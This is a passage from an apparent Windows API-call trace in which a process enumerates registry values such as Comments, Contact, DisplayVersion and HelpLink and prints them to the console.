0x1b5 [0150.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.056] GetConsoleOutputCP () returned 0x1b5 [0150.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0150.057] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.057] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.057] __iob_func () returned 0x7fefd702a80 [0150.057] _fileno (_File=0x7fefd702ab0) returned 1 [0150.057] _errno () returned 0x204bb0 [0150.057] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.057] _errno () returned 0x204bb0 [0150.057] GetFileType (hFile=0x50) returned 0x1 [0150.057] lstrlenW (lpString=" ") returned 4 [0150.057] GetConsoleOutputCP () returned 0x1b5 [0150.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.057] GetConsoleOutputCP () returned 0x1b5 [0150.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.057] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.057] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.057] __iob_func () returned 0x7fefd702a80 [0150.057] _fileno (_File=0x7fefd702ab0) returned 1 [0150.057] _errno () returned 0x204bb0 [0150.057] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.057] _errno () returned 0x204bb0 [0150.057] GetFileType (hFile=0x50) returned 0x1 [0150.057] lstrlenW (lpString="REG_SZ") returned 6 [0150.057] GetConsoleOutputCP () returned 0x1b5 [0150.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.058] GetConsoleOutputCP () returned 0x1b5 [0150.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.058] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.058] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.058] __iob_func () returned 0x7fefd702a80 [0150.058] _fileno (_File=0x7fefd702ab0) returned 1 [0150.058] _errno () returned 0x204bb0 [0150.058] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.058] _errno () returned 0x204bb0 [0150.058] GetFileType (hFile=0x50) returned 0x1 [0150.058] lstrlenW (lpString=" ") returned 4 [0150.058] GetConsoleOutputCP () returned 0x1b5 [0150.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.058] GetConsoleOutputCP () returned 0x1b5 [0150.058] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.058] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.058] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.058] __iob_func () returned 0x7fefd702a80 [0150.058] _fileno (_File=0x7fefd702ab0) returned 1 [0150.058] _errno () returned 0x204bb0 [0150.058] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.059] _errno () returned 0x204bb0 [0150.059] GetFileType (hFile=0x50) returned 0x1 [0150.059] lstrlenW (lpString="") returned 0 [0150.059] __iob_func () returned 0x7fefd702a80 [0150.059] _fileno (_File=0x7fefd702ab0) returned 1 [0150.059] _errno () returned 0x204bb0 [0150.059] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.059] _errno () returned 0x204bb0 [0150.059] GetFileType (hFile=0x50) returned 0x1 [0150.059] lstrlenW (lpString="\n") returned 1 [0150.059] GetConsoleOutputCP () returned 0x1b5 [0150.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.059] GetConsoleOutputCP () returned 0x1b5 [0150.059] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.059] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.059] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.059] GetProcessHeap () returned 0x3c0000 [0150.059] GetProcessHeap () returned 0x3c0000 [0150.059] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.059] GetProcessHeap () returned 0x3c0000 [0150.059] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.059] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.059] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.059] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.059] GetProcessHeap () returned 0x3c0000 [0150.059] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.060] GetProcessHeap () returned 0x3c0000 [0150.060] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.060] GetProcessHeap () returned 0x3c0000 [0150.060] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.060] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.060] __iob_func () returned 0x7fefd702a80 [0150.060] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.060] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.060] _fileno (_File=0x7fefd702ab0) returned 1 [0150.060] _errno () returned 0x204bb0 [0150.060] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.060] _errno () returned 0x204bb0 [0150.060] GetFileType (hFile=0x50) returned 0x1 [0150.060] lstrlenW (lpString=" ") returned 4 [0150.060] GetConsoleOutputCP () returned 0x1b5 [0150.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.060] GetConsoleOutputCP () returned 0x1b5 [0150.060] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.060] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.060] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.060] lstrlenW (lpString="Contact") returned 7 [0150.060] __iob_func () returned 0x7fefd702a80 [0150.060] _fileno (_File=0x7fefd702ab0) returned 1 [0150.060] _errno () returned 0x204bb0 [0150.060] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.060] _errno () returned 0x204bb0 [0150.060] GetFileType (hFile=0x50) returned 0x1 [0150.061] lstrlenW (lpString="Contact") returned 7 [0150.061] GetConsoleOutputCP () returned 0x1b5 [0150.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.061] GetConsoleOutputCP () returned 0x1b5 [0150.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0150.061] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.061] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.061] __iob_func () returned 0x7fefd702a80 [0150.061] _fileno (_File=0x7fefd702ab0) returned 1 [0150.061] _errno () returned 0x204bb0 [0150.061] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.061] _errno () returned 0x204bb0 [0150.061] GetFileType (hFile=0x50) returned 0x1 [0150.061] lstrlenW (lpString=" ") returned 4 [0150.061] GetConsoleOutputCP () returned 0x1b5 [0150.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.061] GetConsoleOutputCP () returned 0x1b5 [0150.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.061] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.061] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.062] __iob_func () returned 0x7fefd702a80 [0150.062] _fileno (_File=0x7fefd702ab0) returned 1 [0150.062] _errno () returned 0x204bb0 [0150.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.062] _errno () returned 0x204bb0 [0150.062] GetFileType (hFile=0x50) returned 0x1 [0150.062] lstrlenW (lpString="REG_SZ") returned 6 [0150.062] GetConsoleOutputCP () returned 0x1b5 [0150.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.062] GetConsoleOutputCP () returned 0x1b5 [0150.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.062] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.062] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.062] __iob_func () returned 0x7fefd702a80 [0150.062] _fileno (_File=0x7fefd702ab0) returned 1 [0150.062] _errno () returned 0x204bb0 [0150.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.062] _errno () returned 0x204bb0 [0150.062] GetFileType (hFile=0x50) returned 0x1 [0150.062] lstrlenW (lpString=" ") returned 4 [0150.062] GetConsoleOutputCP () returned 0x1b5 [0150.062] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.063] GetConsoleOutputCP () returned 0x1b5 [0150.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.063] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.063] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.063] __iob_func () returned 0x7fefd702a80 [0150.063] _fileno (_File=0x7fefd702ab0) returned 1 [0150.063] _errno () returned 0x204bb0 [0150.063] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.063] _errno () returned 0x204bb0 [0150.063] GetFileType (hFile=0x50) returned 0x1 [0150.063] lstrlenW (lpString="") returned 0 [0150.063] __iob_func () returned 0x7fefd702a80 [0150.063] _fileno (_File=0x7fefd702ab0) returned 1 [0150.063] _errno () returned 0x204bb0 [0150.063] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.063] _errno () returned 0x204bb0 [0150.063] GetFileType (hFile=0x50) returned 0x1 [0150.063] lstrlenW (lpString="\n") returned 1 [0150.063] GetConsoleOutputCP () returned 0x1b5 [0150.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.063] GetConsoleOutputCP () returned 0x1b5 [0150.063] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.063] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.063] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.064] GetProcessHeap () returned 0x3c0000 [0150.064] GetProcessHeap () returned 0x3c0000 [0150.064] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.064] GetProcessHeap () returned 0x3c0000 [0150.064] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.064] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.064] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.064] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0150.064] GetProcessHeap () returned 0x3c0000 [0150.064] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0150.064] GetProcessHeap () returned 0x3c0000 [0150.064] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.064] GetProcessHeap () returned 0x3c0000 [0150.064] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0150.064] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="8.0.61001", pcbData=0x29f780*=0x14) returned 0x0 [0150.064] __iob_func () returned 0x7fefd702a80 [0150.064] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.064] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.064] _fileno (_File=0x7fefd702ab0) returned 1 [0150.064] _errno () returned 0x204bb0 [0150.064] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.064] _errno () returned 0x204bb0 [0150.064] GetFileType (hFile=0x50) returned 0x1 [0150.064] lstrlenW (lpString=" ") returned 4 [0150.064] GetConsoleOutputCP () returned 0x1b5 [0150.064] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.064] GetConsoleOutputCP () returned 0x1b5 [0150.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.065] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.065] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.065] lstrlenW (lpString="DisplayVersion") returned 14 [0150.065] __iob_func () returned 0x7fefd702a80 [0150.065] _fileno (_File=0x7fefd702ab0) returned 1 [0150.065] _errno () returned 0x204bb0 [0150.065] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.065] _errno () returned 0x204bb0 [0150.065] GetFileType (hFile=0x50) returned 0x1 [0150.065] lstrlenW (lpString="DisplayVersion") returned 14 [0150.065] GetConsoleOutputCP () returned 0x1b5 [0150.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0150.065] GetConsoleOutputCP () returned 0x1b5 [0150.065] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0150.065] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0150.065] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.066] __iob_func () returned 0x7fefd702a80 [0150.066] _fileno (_File=0x7fefd702ab0) returned 1 [0150.066] _errno () returned 0x204bb0 [0150.066] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.066] _errno () returned 0x204bb0 [0150.066] GetFileType (hFile=0x50) returned 0x1 [0150.066] lstrlenW (lpString=" ") returned 4 [0150.066] GetConsoleOutputCP () returned 0x1b5 [0150.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.066] GetConsoleOutputCP () returned 0x1b5 [0150.066] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.066] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.066] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.066] __iob_func () returned 0x7fefd702a80 [0150.066] _fileno (_File=0x7fefd702ab0) returned 1 [0150.066] _errno () returned 0x204bb0 [0150.067] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.067] _errno () returned 0x204bb0 [0150.067] GetFileType (hFile=0x50) returned 0x1 [0150.067] lstrlenW (lpString="REG_SZ") returned 6 [0150.067] GetConsoleOutputCP () returned 0x1b5 [0150.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.067] GetConsoleOutputCP () returned 0x1b5 [0150.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.067] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.067] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.067] __iob_func () returned 0x7fefd702a80 [0150.067] _fileno (_File=0x7fefd702ab0) returned 1 [0150.067] _errno () returned 0x204bb0 [0150.067] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.067] _errno () returned 0x204bb0 [0150.067] GetFileType (hFile=0x50) returned 0x1 [0150.067] lstrlenW (lpString=" ") returned 4 [0150.067] GetConsoleOutputCP () returned 0x1b5 [0150.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.067] GetConsoleOutputCP () returned 0x1b5 [0150.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.068] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.068] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.068] __iob_func () returned 0x7fefd702a80 [0150.068] _fileno (_File=0x7fefd702ab0) returned 1 [0150.068] _errno () returned 0x204bb0 [0150.068] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.068] _errno () returned 0x204bb0 [0150.068] GetFileType (hFile=0x50) returned 0x1 [0150.068] lstrlenW (lpString="8.0.61001") returned 9 [0150.068] GetConsoleOutputCP () returned 0x1b5 [0150.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="8.0.61001", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.068] GetConsoleOutputCP () returned 0x1b5 [0150.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="8.0.61001", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.0.61001", lpUsedDefaultChar=0x0) returned 9 [0150.068] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.068] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.068] __iob_func () returned 0x7fefd702a80 [0150.068] _fileno (_File=0x7fefd702ab0) returned 1 [0150.068] _errno () returned 0x204bb0 [0150.068] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.068] _errno () returned 0x204bb0 [0150.068] GetFileType (hFile=0x50) returned 0x1 [0150.068] lstrlenW (lpString="\n") returned 1 [0150.068] GetConsoleOutputCP () returned 0x1b5 [0150.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.069] GetConsoleOutputCP () returned 0x1b5 [0150.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.069] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.069] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.069] GetProcessHeap () returned 0x3c0000 [0150.069] GetProcessHeap () returned 0x3c0000 [0150.069] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.069] GetProcessHeap () returned 0x3c0000 [0150.069] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0150.069] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.069] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.069] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.069] GetProcessHeap () returned 0x3c0000 [0150.069] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.069] GetProcessHeap () returned 0x3c0000 [0150.069] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.069] GetProcessHeap () returned 0x3c0000 [0150.069] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.069] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.069] __iob_func () returned 0x7fefd702a80 [0150.069] _memicmp 